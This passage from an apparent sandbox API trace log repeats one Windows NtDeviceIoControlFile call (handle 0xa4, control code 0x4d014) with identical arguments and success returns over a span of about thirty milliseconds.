OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.053] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.054] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.054] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.054] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.054] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.055] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.055] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.055] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.056] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.056] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.056] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.057] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.057] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.057] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.058] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.058] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.058] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.059] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.059] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.059] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.060] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.060] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.060] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.061] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.061] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.061] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.062] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.062] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.062] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.063] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.063] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.063] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.064] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.064] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.064] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.064] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.065] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.065] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.065] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.068] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.068] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.068] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.069] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.069] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.069] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.070] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.070] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.070] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.071] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.071] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.071] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.072] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.072] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.072] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.073] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.075] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.076] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.076] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.076] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.076] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.077] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.077] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.077] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.078] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.078] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.078] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.079] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.079] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.079] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.080] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.080] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.080] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.081] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.081] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.081] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.082] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.082] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.082] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.083] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.083] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.083] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | 